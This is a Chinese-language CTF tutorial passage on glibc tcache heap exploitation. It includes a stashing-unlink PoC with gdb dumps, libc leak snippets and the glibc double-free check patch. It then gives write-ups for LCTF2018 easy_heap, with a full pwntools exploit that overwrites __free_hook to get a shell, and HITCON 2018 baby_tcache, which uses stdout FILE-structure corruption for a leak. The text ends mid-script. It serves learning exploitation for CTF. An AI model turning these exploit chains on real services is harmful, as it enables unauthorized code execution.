我们按照释放的先后顺序称 `smallbin[sz]` 中的两个 chunk 分别为 chunk0 和 chunk1。我们修改 chunk1 的 `bk` 为 `fake_chunk_addr`。同时还要在 `fake_chunk_addr->bk` 处提前写一个可写地址 `writable_addr` 。调用 `calloc(size-0x10)` 的时候会返回给用户 chunk0 (这是因为 smallbin 的 `FIFO` 分配机制)，假设 `tcache[sz]` 中有 5 个空闲堆块，则有足够的位置容纳 `chunk1` 以及 `fake_chunk` 。在源码的检查中，只对第一个 chunk 的链表完整性做了检测 `__glibc_unlikely (bck->fd != victim)` ，后续堆块在放入过程中并没有检测。
因为tcache的分配机制是 `LIFO` ，所以位于 `fake_chunk->bk` 指针处的 `fake_chunk` 在链入 tcache 的时候反而会放到链表表头。在下一次调用 `malloc(sz-0x10)` 时会返回 `fake_chunk+0x10` 给用户，同时，由于 `bin->bk = bck;bck->fd = bin;` 的unlink操作，会使得 `writable_addr+0x10` 处被写入一个 libc 地址。
```c
#include <stdio.h>
#include <stdlib.h>
int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;
fprintf(stderr, "This file demonstrates the stashing unlink attack on tcache.\n\n");
fprintf(stderr, "This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n");
fprintf(stderr, "This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
fprintf(stderr, "The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
fprintf(stderr, "This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");
// stack_var emulate the fake_chunk we want to alloc to
fprintf(stderr, "Stack_var emulates the fake chunk we want to alloc to.\n\n");
fprintf(stderr, "First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");
stack_var[3] = (unsigned long)(&stack_var[2]);
fprintf(stderr, "You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
fprintf(stderr, "Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
fprintf(stderr, "Now we alloc 9 chunks with malloc.\n\n");
//now we malloc 9 chunks
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}
//put 7 tcache
fprintf(stderr, "Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");
for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}
fprintf(stderr, "As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");
//last tcache bin
free(chunk_lis[1]);
//now they are put into unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);
//convert into small bin
fprintf(stderr, "Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");
malloc(0xa0);//>0x90
//now 5 tcache bins
fprintf(stderr, "Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");
malloc(0x90);
malloc(0x90);
fprintf(stderr, "Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);
//change victim->bck
/*VULNERABILITY*/
chunk_lis[2][1] = (unsigned long)stack_var;
/*VULNERABILITY*/
//trigger the attack
fprintf(stderr, "Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");
calloc(1,0x90);
fprintf(stderr, "Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);
//malloc and return our fake chunk on stack
target = malloc(0x90);
fprintf(stderr, "As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
return 0;
}
```
这个 poc 用栈上的一个数组上模拟 `fake_chunk` 。首先构造出5个 `tcache chunk` 和2个 `smallbin chunk` 的情况。模拟 `UAF` 漏洞修改 `bin2->bk` 为 `fake_chunk` ，在 `calloc(0x90)` 的时候触发攻击。
我们在 `calloc` 处下断点，调用前查看堆块排布情况。此时 `tcache[0xa0]` 中有 5 个空闲块。可以看到 chunk1->bk 已经被改为了 `fake_chunk_addr` 。而 `fake_chunk->bk` 也写上了一个可写地址。由于 `smallbin` 是按照 `bk` 指针寻块的，分配得到的顺序应当是 `0x0000000000603250->0x0000000000603390->0x00007fffffffdbc0 (FIFO)` 。调用 calloc 会返回给用户 `0x0000000000603250+0x10`。
```bash
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x6038a0 (size : 0x20760)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x0a0) smallbin[ 8]: 0x603390 (doubly linked list corruption 0x603390 != 0x0 and 0x603390 is broken)
(0xa0) tcache_entry[8](5): 0x6036c0 --> 0x603620 --> 0x603580 --> 0x6034e0 --> 0x603440
gdb-peda$ x/4gx 0x603390
0x603390: 0x0000000000000000 0x00000000000000a1
0x6033a0: 0x0000000000603250 0x00007fffffffdbc0
gdb-peda$ x/4gx 0x00007fffffffdbc0
0x7fffffffdbc0: 0x0000000000000000 0x0000000000000000
0x7fffffffdbd0: 0x0000000000000000 0x00007fffffffdbd0
gdb-peda$ x/4gx 0x0000000000603250
0x603250: 0x0000000000000000 0x00000000000000a1
0x603260: 0x00007ffff7dcfd30 0x0000000000603390
gdb-peda$ x/4gx 0x00007ffff7dcfd30
0x7ffff7dcfd30 <main_arena+240>: 0x00007ffff7dcfd20 0x00007ffff7dcfd20
0x7ffff7dcfd40 <main_arena+256>: 0x0000000000603390 0x0000000000603250
```
调用 calloc 后再查看堆块排布情况，可以看到 `fake_chunk` 已经被链入 `tcache_entry[8]` ,且因为分配顺序变成了 `LIFO` , `0x7fffffffdbd0-0x10` 这个块被提到了链表头，下次 `malloc(0x90)` 即可获得这个块。
其 fd 指向下一个空闲块，在 unlink 过程中 `bck->fd=bin` 的赋值操作使得 `0x00007fffffffdbd0+0x10` 处写入了一个 libc 地址。
```bash
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x6038a0 (size : 0x20760)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x0a0) smallbin[ 8]: 0x603390 (doubly linked list corruption 0x603390 != 0x6033a0 and 0x603390 is broken)
(0xa0) tcache_entry[8](7): 0x7fffffffdbd0 --> 0x6033a0 --> 0x6036c0 --> 0x603620 --> 0x603580 --> 0x6034e0 --> 0x603440
gdb-peda$ x/4gx 0x7fffffffdbd0
0x7fffffffdbd0: 0x00000000006033a0 0x00007fffffffdbd0
0x7fffffffdbe0: 0x00007ffff7dcfd30 0x0000000000000000
```
#### libc leak
在以前的libc 版本中，我们只需这样：
```c
#include <stdlib.h>
#include <stdio.h>
int main()
{
long *a = malloc(0x1000);
malloc(0x10);
free(a);
printf("%p\n",a[0]);
}
```
但是在2.26 之后的 libc 版本后，我们首先得先把tcache 填满：
```c
#include <stdlib.h>
#include <stdio.h>
int main(int argc , char* argv[])
{
long* t[7];
long *a=malloc(0x100);
long *b=malloc(0x10);
// make tcache bin full
for(int i=0;i<7;i++)
t[i]=malloc(0x100);
for(int i=0;i<7;i++)
free(t[i]);
free(a);
// a is put in an unsorted bin because the tcache bin of this size is full
printf("%p\n",a[0]);
}
```
之后，我们就可以 leak libc 了。
```bash
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555559af0 (size : 0x20510)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x555555559250 (size : 0x110)
(0x110) tcache_entry[15]: 0x5555555599f0 --> 0x5555555598e0 --> 0x5555555597d0 --> 0x5555555596c0 --> 0x5555555595b0 --> 0x5555555594a0 --> 0x555555559390
gdb-peda$ parseheap
addr prev size status fd bk
0x555555559000 0x0 0x250 Used None None
0x555555559250 0x0 0x110 Freed 0x7ffff7fc0ca0 0x7ffff7fc0ca0
0x555555559360 0x110 0x20 Used None None
0x555555559380 0x0 0x110 Used None None
0x555555559490 0x0 0x110 Used None None
0x5555555595a0 0x0 0x110 Used None None
0x5555555596b0 0x0 0x110 Used None None
```
### 0x04 Tcache Check
在最新的 libc 的[commit](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=f730d7a2ee496d365bf3546298b9d19b8bddc0d0;hp=6d7a6a8cabb4edbf00881cb7503473a8ed4ec0b7;hb=bcdaad21d4635931d1bd3b54a7894276925d081d;hpb=5770c0ad1e0c784e817464ca2cf9436a58c9beb7) 中更新了 Tcache 的 double free 的check：
```c
index 6d7a6a8..f730d7a 100644 (file)
--- a/malloc/malloc.c
+++ b/malloc/malloc.c
@@ -2967,6 +2967,8 @@ mremap_chunk (mchunkptr p, size_t new_size)
typedef struct tcache_entry
{
struct tcache_entry *next;
+ /* This field exists to detect double frees. */
+ struct tcache_perthread_struct *key;
} tcache_entry;
/* There is one of these for each thread, which contains the
@@ -2990,6 +2992,11 @@ tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
+
+ /* Mark this chunk as "in the tcache" so the test in _int_free will
+ detect a double free. */
+ e->key = tcache;
+
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
@@ -3005,6 +3012,7 @@ tcache_get (size_t tc_idx)
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
+ e->key = NULL;
return (void *) e;
}
@@ -4218,6 +4226,26 @@ _int_free (mstate av, mchunkptr p, int have_lock)
{
size_t tc_idx = csize2tidx (size);
+ /* Check to see if it's already in the tcache. */
+ tcache_entry *e = (tcache_entry *) chunk2mem (p);
+
+ /* This test succeeds on double free. However, we don't 100%
+ trust it (it also matches random payload data at a 1 in
+ 2^<size_t> chance), so verify it's not an unlikely coincidence
+ before aborting. */
+ if (__glibc_unlikely (e->key == tcache && tcache))
+ {
+ tcache_entry *tmp;
+ LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
+ for (tmp = tcache->entries[tc_idx];
+ tmp;
+ tmp = tmp->next)
+ if (tmp == e)
+ malloc_printerr ("free(): double free detected in tcache 2");
+ /* If we get here, it was a coincidence. We've wasted a few
+ cycles, but don't abort. */
+ }
+
if (tcache
&& tc_idx < mp_.tcache_bins
&& tcache->counts[tc_idx] < mp_.tcache_count)
```
目前为止，只看到了在 free 操作的时候的 check ，似乎没有对 get 进行新的check。
### 0x05 The pwn of CTF
#### Challenge 1 : LCTF2018 PWN easy_heap
##### 基本信息
远程环境中的 libc 是 libc-2.27.so ，所以堆块申请释放过程中需要考虑 Tcache 。
```shell
zj@zj-virtual-machine:~/c_study/lctf2018/easy$ checksec ./easy_heap
[*] '/home/zj/c_study/lctf2018/easy/easy_heap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
```
##### 基本功能
0. 输入函数：循环读入一个字节，如果出现 null 字节或是换行符则停止读入，之后对当前读入的末尾位置和 size 位置进行置零操作。
1. new: 使用 `malloc(0xa8)` 分配一个块，记录下 size ，输入内容。
2. free: 首先根据记录下的 size 对堆块进行 `memset` 清零，之后进行常规 free
3. show：使用 puts 进行输出
功能较为简单。
记录一个 chunk 结构的结构体：
```c
struct Chunk {
char *content;
int size;
};
```
使用了一个在堆上分配的结构来记录所有 `Chunk` 结构体，一共可以分配 10 个块。
程序的读入输入函数存在一个 null-byte-overflow 漏洞 ，具体见如下代码
```c
unsigned __int64 __fastcall read_input(_BYTE *malloc_p, int sz)
{
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
i = 0;
if ( sz )
{
while ( 1 )
{
read(0, &malloc_p[i], 1uLL);
if ( sz - 1 < i || !malloc_p[i] || malloc_p[i] == '\n' )
break;
++i;
}
malloc_p[i] = 0;
malloc_p[sz] = 0; // null-byte-overflow
}
else
{
*malloc_p = 0;
}
return __readfsqword(0x28u) ^ v4;
}
```
##### 利用思路
由于存在 tcache ，所以利用过程中需要考虑到 tcache 的存在。
通常来讲在堆程序中出现 null-byte-overflow 漏洞 ，都会考虑构造 overlapping heap chunk ，使得 overlapping chunk 可以多次使用 ，达到信息泄露最终劫持控制流的目的 。
null-byte-overflow 漏洞的利用方法通过溢出覆盖 prev_in_use 字节使得堆块进行合并，然后使用伪造的 prev_size 字段使得合并时造成堆块交叉。但是本题由于输入函数无法输入 NULL 字符，所以无法输入 prev_size 为 0x_00 的值，而堆块分配大小是固定的，所以直接采用 null-byte-overflow 的方法无法进行利用，需要其他方法写入 prev_size 。
在没有办法手动写入 prev_size ，但又必须使用 prev_size 才可以进行利用的情况下，考虑使用系统写入的 prev_size 。
方法为：在 unsorted bin 合并时会写入 prev_size，而该 prev_size 不会被轻易覆盖（除非有新的 prev_size 需要写入），所以可以利用该 prev_size 进行利用。
具体过程：
1. 将 `A -> B -> C` 三块 unsorted bin chunk 依次进行释放
2. A 和 B 合并，此时 C 前的 prev_size 写入为 0x200
3. A 、 B 、 C 合并，步骤 2 中写入的 0x200 依然保持
4. 利用 unsorted bin 切分，分配出 A
5. 利用 unsorted bin 切分，分配出 B，注意此时不要覆盖到之前的 0x200
6. 将 A 再次释放为 unsorted bin 的堆块，使得 fd 和 bk 为有效链表指针
7. 此时 C 前的 prev_size 依然为 0x200（未使用到的值），A B C 的情况： `A (free) -> B (allocated) -> C (free)`，如果使得 B 进行溢出，则可以将已分配的 B 块包含在合并后的释放状态 unsorted bin 块中。
但是在这个过程中需要注意 tcache 的影响。
##### 利用步骤
###### 重排堆块结构，释放出 unsorted bin chunk
由于本题只有 10 个可分配块数量，而整个过程中我们需要用到 3 个 unsorted bin 的 chunk ，加上 7 个 tcache 的 chunk ，所以需要进行一下重排，将一个 tcache 的 chunk 放到 3 个 unsorted bin chunk 和 top chunk 之间，否则会触发 top 的合并。
```python
# step 1: get three unsortedbin chunks
# note that to avoid top consolidation, we need to arrange them like:
# tcache * 6 -> unsortd * 3 -> tcache
for i in range(7):
new(0x10, str(i) + ' - tcache')
for i in range(3):
new(0x10, str(i + 7) + ' - unsorted') # three unsorted bin chunks
# arrange:
for i in range(6):
delete(i)
delete(9)
for i in range(6, 9):
delete(i)
```
重分配后的堆结构：
```
+-----+
| | <-- tcache perthread 结构体
+-----+
| ... | <-- 6 个 tcache 块
+-----+
| A | <-- 3 个 unsorted bin 块
+-----+
| B |
+-----+
| C |
+-----+
| | <-- tcache 块，防止 top 合并
+-----+
| top |
| .. |
```
###### 按照解析中的步骤进行 NULL 字节溢出触发
为了触发 NULL 字节溢出，我们需要使得解析中的 B 块可以溢出到 C 块中。由于题目中没有 edit 功能，所以我们需要让 B 块进入 tcache 中，这样就可以在释放后再分配出来，且由于 tcache 没有太多变化和检查，会较为稳定。
```python
for i in range(7):
new(0x10, str(i) + ' - tcache')
# rearrange to take second unsorted bin into tcache chunk, but leave first
# unsorted bin unchanged
new(0x10, '7 - first')
new(0x10, '8 - second')
new(0x10, '9 - third')
for i in range(6):
delete(i)
# move second into tcache
delete(8)
```
之后进行 A 块的释放（用来提供有效的可以进行 unlink 的 fd 和 bk 值）
```python
# delete first to provide valid fd & bk
delete(7)
```
现在堆块结构如下：
```
+-----+
| | <-- tcache perthread 结构体
+-----+
| ... | <-- 6 个 tcache 块 (free)
+-----+
| A | <-- free
+-----+
| B | <-- free 且为 tcache 块
+-----+
| C |
+-----+
| | <-- tcache 块，防止 top 合并
+-----+
| top |
| .. |
```
tcache bin 链表中，第一位的是 B 块，所以现在可以将 B 块进行分配，且进行 NULL 字符溢出。
```python
new(0xf8, '0 - overflow')
```
在之后的步骤中，我们需要 A 处于 unsorted bin 释放状态，B 处于分配状态，C 处于分配状态，且最后可以在 tcache 块 7 个全满的情况下进行释放（触发合并），所以我们需要 7 个 tcache 都被 free 掉。
此时由于 B 块被分配为 tcache 块了，所以需要将防止 top 合并的 tcache 块释放掉。
```python
# fill up tcache
delete(6)
```
之后就可以将 C 块释放，进行合并。
```python
# trigger
delete(9)
```
合并后的结构：
```
+-----+
| | <-- tcache perthread 结构体
+-----+
| ... | <-- 6 个 tcache 块 (free)
+-----+ --------+
| A | <-- free 大块 |
+-----+ |
| B | <-- 已分配 --------+--> 一个大 free 块
+-----+ |
| C | <-- free |
+-----+ --------+
| | <-- tcache 块，防止 top 合并 (free)
+-----+
| top |
| .. |
```
###### 地址泄露
此时的堆已经出现交叉了，接下来将 A 大小从 unsorted bin 中分配出来，就可以使得 libc 地址落入 B 中：
```python
# step 3: leak, fill up
for i in range(7):
new(0x10, str(i) + ' - tcache')
new(0x10, '8 - fillup')
libc_leak = u64(show(0).strip().ljust(8, '\x00'))
p.info('libc leak {}'.format(hex(libc_leak)))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = libc_leak - 0x3ebca0
```
堆结构：
```
+-----+
| | <-- tcache perthread 结构体
+-----+
| ... | <-- 6 个 tcache 块 (free)
+-----+
| A | <-- 已分配
+-----+
| B | <-- 已分配 --------+> 一个大 free 块
+-----+ |
| C | <-- free |
+-----+ --------+
| | <-- tcache 块，防止 top 合并 (free)
+-----+
| top |
| .. |
```
###### tcache UAF attack
接下来，由于 B 块已经是 free 状态，但是又有指针指向，所以我们只需要再次分配，使得有两个指针指向 B 块，之后在 tcache 空间足够时，利用 tcache 进行 double free ，进而通过 UAF 攻击 free hook 即可。
```python
# step 4: constrecvuntilct UAF, write into __free_hook
new(0x10, '9 - next')
# these two provides sendlineots for tcache
delete(1)
delete(2)
delete(0)
delete(9)
new(0x10, p64(libc.symbols['__free_hook'])) # 0
new(0x10, '/bin/sh\x00into target') # 1
one_gadget = libc.address + 0x4f322
new(0x10, p64(one_gadget))
# system("/bin/sh\x00")
delete(1)
p.interactive()
```
##### 完整 exploit
```python
#! /usr/bin/env python2
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
import sys
import os
import os.path
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./easy_heap')
def cmd(idx):
p.recvuntil('>')
p.sendline(str(idx))
def new(size, content):
cmd(1)
p.recvuntil('>')
p.sendline(str(size))
p.recvuntil('> ')
if len(content) >= size:
p.send(content)
else:
p.sendline(content)
def delete(idx):
cmd(2)
p.recvuntil('index \n> ')
p.sendline(str(idx))
def show(idx):
cmd(3)
p.recvuntil('> ')
p.sendline(str(idx))
return p.recvline()[:-1]
def main():
# Your exploit script goes here
# step 1: get three unsortedbin chunks
# note that to avoid top consolidation, we need to arrange them like:
# tcache * 6 -> unsortd * 3 -> tcache
for i in range(7):
new(0x10, str(i) + ' - tcache')
for i in range(3):
new(0x10, str(i + 7) + ' - unsorted') # three unsorted bin chunks
# arrange:
for i in range(6):
delete(i)
delete(9)
for i in range(6, 9):
delete(i)
# step 2: use unsorted bin to overflow, and do unlink, trigger consolidation (overecvlineap)
for i in range(7):
new(0x10, str(i) + ' - tcache')
# rearrange to take second unsorted bin into tcache chunk, but leave first
# unsorted bin unchanged
new(0x10, '7 - first')
new(0x10, '8 - second')
new(0x10, '9 - third')
for i in range(6):
delete(i)
# move second into tcache
delete(8)
# delete first to provide valid fd & bk
delete(7)
new(0xf8, '0 - overflow')
# fill up tcache
delete(6)
# trigger
delete(9)
# step 3: leak, fill up
for i in range(7):
new(0x10, str(i) + ' - tcache')
new(0x10, '8 - fillup')
libc_leak = u64(show(0).strip().ljust(8, '\x00'))
p.info('libc leak {}'.format(hex(libc_leak)))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = libc_leak - 0x3ebca0
# step 4: constrecvuntilct UAF, write into __free_hook
new(0x10, '9 - next')
# these two provides sendlineots for tcache
delete(1)
delete(2)
delete(0)
delete(9)
new(0x10, p64(libc.symbols['__free_hook'])) # 0
new(0x10, '/bin/sh\x00into target') # 1
one_gadget = libc.address + 0x4f322
new(0x10, p64(one_gadget))
# system("/bin/sh\x00")
delete(1)
p.interactive()
if __name__ == '__main__':
main()
```
#### Challenge 2 : HITCON 2018 PWN baby_tcache
##### 基本信息
远程环境中的 libc 是 libc-2.27.so 和上面的题目一样。
```bash
zj@zj-virtual-machine:~/c_study/hitcon2018/pwn1$ checksec ./baby_tcache
[*] '/home/zj/c_study/hitcon2018/pwn1/baby_tcache'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
```
##### 基本功能
程序的功能很简单 ，就2个功能 ，一个功能为 New 申请使用内存不大于 0x2000 的 chunk ，总共可以申请 10 块 ，通过 bss 段上的一个全局数组 arr 来管理申请的 chunk ，同时 bss 段上的数组 size_arr 来存储相应 chunk 的申请大小 size 。
程序的另外一个功能就是 delete ，删除所选的堆块 ，删除之前会事先把 chunk 的内容区域按照申请的 size 覆盖成 0xdadadada 。
程序的漏洞代码在功能 New 的时候 ，写完数据后 ，有一个 null-byte 溢出漏洞 ，具体如下 ：
```c
int new()
{
_QWORD *v0; // rax
signed int i; // [rsp+Ch] [rbp-14h]
_BYTE *malloc_p; // [rsp+10h] [rbp-10h]
unsigned __int64 size; // [rsp+18h] [rbp-8h]
for ( i = 0; ; ++i )
{
if ( i > 9 )
{
LODWORD(v0) = puts(":(");
return (signed int)v0;
}
if ( !bss_arr[i] )
break;
}
printf("Size:");
size = str2llnum();
if ( size > 0x2000 )
exit(-2);
malloc_p = malloc(size);
if ( !malloc_p )
exit(-1);
printf("Data:");
read_input((__int64)malloc_p, size);
malloc_p[size] = 0; // null byte bof
bss_arr[i] = malloc_p;
v0 = size_arr;
size_arr[i] = size;
return (signed int)v0;
}
```
##### 利用思路
程序的漏洞很容易发现 ，而且申请的 chunk 大小可控 ，所以一般考虑构造 overlapping chunk 处理 。但是问题在于即使把 main_arena 相关的地址写到了 chunk 上 ，也没法调用 show 功能做信息泄露 ，因为程序就没提供这个功能 。
于是有两种思路：
1. 可以考虑 partial overwrite 去改掉 main_arena 相关地址的后几个字节 ，利用 tcache 机制把 `__free_hook` chunk 写进 tcache 的链表中 ，后面利用 unsortedbin attack 往 `__free_hook` 里面写上 unsortedbin addr ，后面把 `__free_hook` 分配出来 ，再利用 partial overwrite 在 `__free_hook` 里面写上 one_shoot ，不过这个方法的爆破工作量太大需要 4096 次
2. 通过 IO file 进行泄露。题目中使用到了 `puts` 函数，会最终调用到 `_IO_new_file_overflow`，该函数会最终使用 `_IO_do_write` 进行真正的输出。在输出时，如果具有缓冲区，会输出 `_IO_write_base` 开始的缓冲区内容，直到 `_IO_write_ptr` （也就是将 `_IO_write_base` 一直到 `_IO_write_ptr` 部分的值当做缓冲区，在无缓冲区时，两个指针指向同一位置，位于该结构体附近，也就是 libc 中），但是在 `setbuf` 后，理论上会不使用缓冲区。然而如果能够修改 `_IO_2_1_stdout_` 结构体的 flags 部分，使得其认为 stdout 具有缓冲区，再将 `_IO_write_base` 处的值进行 partial overwrite ，就可以泄露出 libc 地址了。
思路 2 中涉及到的相关代码：
`puts` 函数最终会调用到该函数，我们需要满足部分 flag 要求使其能够进入 `_IO_do_write`：
```c
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES)
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
:
:
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base, // 需要调用的目标，如果使得 _IO_write_base < _IO_write_ptr，且 _IO_write_base 处
// 存在有价值的地址 （libc 地址）则可进行泄露
// 在正常情况下，_IO_write_base == _IO_write_ptr 且位于 libc 中，所以可进行部分写
f->_IO_write_ptr - f->_IO_write_base);
```
进入后的部分：
```c
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING) /* 需要满足 */
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
............
}
count = _IO_SYSWRITE (fp, data, to_do); // 这里真正进行 write
```
可以看到，为调用到目标函数位置，需要满足部分 flags 要求，具体需要满足的 flags ：
```c
_flags = 0xfbad0000 // Magic number
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800
```
##### 操作过程
- 形成 overlapping chunk
```python
alloc(0x500-0x8) # 0
alloc(0x30) # 1
alloc(0x40) # 2
alloc(0x50) # 3
alloc(0x60) # 4
alloc(0x500-0x8) # 5
alloc(0x70) # 6 gap to top
delete(4)
alloc(0x68,'A'*0x60+'\x60\x06') # set the prev size
delete(2)
delete(0)
delete(5) # backward coeleacsing
```
```
gdb-peda$ x/300xg 0x0000555d56ed6000+0x250
0x555d56ed6250: 0x0000000000000000 0x0000000000000b61 ( free(#5) ==> merge into #0 get 0x660+0x500=0xb60 chunk ) #0
0x555d56ed6260: 0x00007fa8a0a3fca0 0x00007fa8a0a3fca0
0x555d56ed6270: 0x0000000000000000 0x0000000000000000
0x555d56ed6280: 0xdadadadadadadada 0xdadadadadadadada
...............
0x555d56ed6740: 0xdadadadadadadada 0xdadadadadadadada
0x555d56ed6750: 0x0000000000000500 0x0000000000000040 #1
0x555d56ed6760: 0x0000000000000061('a') 0x0000000000000000
0x555d56ed6770: 0x0000000000000000 0x0000000000000000
0x555d56ed6780: 0x0000000000000000 0x0000000000000000
0x555d56ed6790: 0x0000000000000000 0x0000000000000051 #2
0x555d56ed67a0: 0x0000000000000000 0xdadadadadadadada
...............
0x555d56ed67e0: 0x0000000000000000 0x0000000000000061 #3
0x555d56ed67f0: 0x0000000000000061('a') 0x0000000000000000
0x555d56ed6800: 0x0000000000000000 0x0000000000000000
...............
0x555d56ed6830: 0x0000000000000000 0x0000000000000000
0x555d56ed6840: 0x0000000000000000 0x0000000000000071 #4
0x555d56ed6850: 0x4141414141414141 0x4141414141414141
...............
0x555d56ed68b0: 0x0000000000000660 0x0000000000000500 #5
...............
```
- 改写文件结构体的相关字段
```python
alloc(0x500-0x9+0x34)
delete(4)
alloc(0xa8,'\x60\x07') # corrupt the fd
alloc(0x40,'a')
alloc(0x3e,p64(0xfbad1800)+p64(0)*3+'\x00') # overwrite the file-structure !!!
```
```
gdb-peda$ x/20xg stdout
0x7fa8a0a40760 <_IO_2_1_stdout_>: 0x00000000fbad1800(!!!) 0x0000000000000000(!!!)
0x7fa8a0a40770 <_IO_2_1_stdout_+16>: 0x0000000000000000(!!!) 0x0000000000000000(!!!)
0x7fa8a0a40780 <_IO_2_1_stdout_+32>: 0x00007fa8a0a40700(!!!_IO_write_base) 0x00007fa8a0a407e3
0x7fa8a0a40790 <_IO_2_1_stdout_+48>: 0x00007fa8a0a407e3 0x00007fa8a0a407e3
0x7fa8a0a407a0 <_IO_2_1_stdout_+64>: 0x00007fa8a0a407e4 0x0000000000000000
0x7fa8a0a407b0 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x7fa8a0a407c0 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007fa8a0a3fa00
0x7fa8a0a407d0 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
0x7fa8a0a407e0 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00007fa8a0a418c0
0x7fa8a0a407f0 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
gdb-peda$ x/20xg 0x00007fa8a0a40700
0x7fa8a0a40700 <_IO_2_1_stderr_+128>: 0x0000000000000000 0x00007fa8a0a418b0 (leak target)
0x7fa8a0a40710 <_IO_2_1_stderr_+144>: 0xffffffffffffffff 0x0000000000000000
0x7fa8a0a40720 <_IO_2_1_stderr_+160>: 0x00007fa8a0a3f780 0x0000000000000000
```
- 文件结构体更改缘由
- 通过修改 stdout->_flags 使得程序流能够流到 _IO_do_write (f , f->_IO_write_base , f->_IO_write_ptr - f->_IO_write_base) 这个函数
- 完整 exp
```python
from pwn import *
r = process('./baby_tcache'), env={"LD_PRELOAD":"./libc.so.6"})
